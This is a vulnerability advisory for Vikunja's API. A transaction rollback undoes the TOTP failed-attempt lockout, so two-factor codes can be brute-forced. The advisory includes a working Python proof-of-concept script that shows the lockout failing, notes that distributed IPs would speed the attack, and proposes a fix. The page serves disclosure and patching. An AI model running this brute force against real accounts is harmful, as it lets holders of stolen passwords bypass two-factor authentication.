GHSA-fgfv-pv97-6cmj CVE-2026-35597 GO-2026-5362
Vikunja Vulnerable to TOTP Brute-Force Due to Non-Functional Account Lockout
- Severity
- 5.9 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.30%
- Chance of exploitation in the next 30 days. Higher than 22.34% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-307 Improper Restriction of Excessive Authentication Attempts
- Fix
2.3.0- Upgrade code.vikunja.io/api to this version or later
Description
Summary
The TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes.
Details
When a TOTP validation fails, the login handler at pkg/routes/api/v1/login.go:95-101 calls HandleFailedTOTPAuth and then unconditionally rolls back:
if err != nil {
if user2.IsErrInvalidTOTPPasscode(err) {
user2.HandleFailedTOTPAuth(s, user)
}
_ = s.Rollback()
return err
}
HandleFailedTOTPAuth at pkg/user/totp.go:201-247 uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone.
The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time.
Proof of Concept
Tested on Vikunja v2.2.2. Requires pyotp (pip install pyotp).
import requests, time, pyotp
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
def h(token):
return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
# setup: login, enroll and enable TOTP
token = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!"}).json()["token"]
secret = requests.post(f"{API}/user/settings/totp/enroll", headers=h(token)).json()["secret"]
totp = pyotp.TOTP(secret)
requests.post(f"{API}/user/settings/totp/enable", headers=h(token),
json={"passcode": totp.now()})
# send 9 failed attempts (rate limit is 10/min)
for i in range(1, 10):
r = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")
# wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold)
time.sleep(65)
for i in range(10, 13):
r = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")
# wait for rate limit, try with valid TOTP
time.sleep(65)
r = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": totp.now()})
print(f"Valid TOTP login: {r.status_code}") # 200 - account was never locked
Output:
Attempt 1: 412 code=1017
...
Attempt 9: 412 code=1017
Attempt 10: 412 code=1017
Attempt 11: 412 code=1017
Attempt 12: 412 code=1017
Valid TOTP login: 200
The account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize.
Impact
An attacker who has obtained a user's password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space.
Recommended Fix
Have HandleFailedTOTPAuth create and commit its own independent database session for the lockout operation:
// Use a new session so the lockout persists regardless of caller's rollback
lockoutSession := db.NewSession()
defer lockoutSession.Close()
err = user.SetStatus(lockoutSession, StatusAccountLocked)
if err != nil {
_ = lockoutSession.Rollback()
return
}
_ = lockoutSession.Commit()
Found and reported by aisafe.io
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| code.vikunja.io/api | < 2.3.0 |
2.3.0 |
| code.vikunja.io/api | all versions |
No fix yet |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
code.vikunja.io/api Go → 2.3.0
- go
go get code.vikunja.io/api@v2.3.0 && go mod tidy
Severity breakdown
CVSS 3.1 5.9
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-307: Improper Restriction of Excessive Authentication Attempts
The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame.
How to prevent it
- Architecture and Design: Common protection mechanisms include: Disconnecting the user after a small number of failed attempts Implementing a timeout Locking out a targeted account Requiring a computational task on the user's part.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator. [REF-45]
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-m687-p538-r5hp Vikunja: Permissive Cross-domain Security Policy trusts every localhost origin which should not be trusted | Medium | Also affects code.vikunja.io/api |
| GHSA-fmmf-xq98-g327 Vikunja: Write-level project members can delete admin-tier link shares through an unloaded permission check | Medium | Also affects code.vikunja.io/api |
| GHSA-pjr3-86v4-5p7w Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0) | Medium | Also affects code.vikunja.io/api |
| GHSA-hjx8-qv73-f7cm Vikunja: Webhooks and link shares survive every revocation path, so a removed collaborator keeps a live feed | High | Also affects code.vikunja.io/api |
| GHSA-fprf-r6rv-xg99 Vikunja: Saved filter creation with an empty filter string recalculates task positions across all tenants | Medium | Also affects code.vikunja.io/api |
| GHSA-4hv6-xc92-j86g Vikunja: WebSocket authentication ignores server-side session state, so revoked sessions keep receiving live pushes | High | Also affects code.vikunja.io/api |
| GHSA-w2ch-4xgr-22ww Vikunja: Task relation deletion does not check read access to the other task, allowing cross-project relation removal | Low | Also affects code.vikunja.io/api |
| GHSA-8wvg-r2j4-3737 Vikunja: Assignee email addresses disclosed to read-only project members via the task assignees endpoint | Medium | Also affects code.vikunja.io/api |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor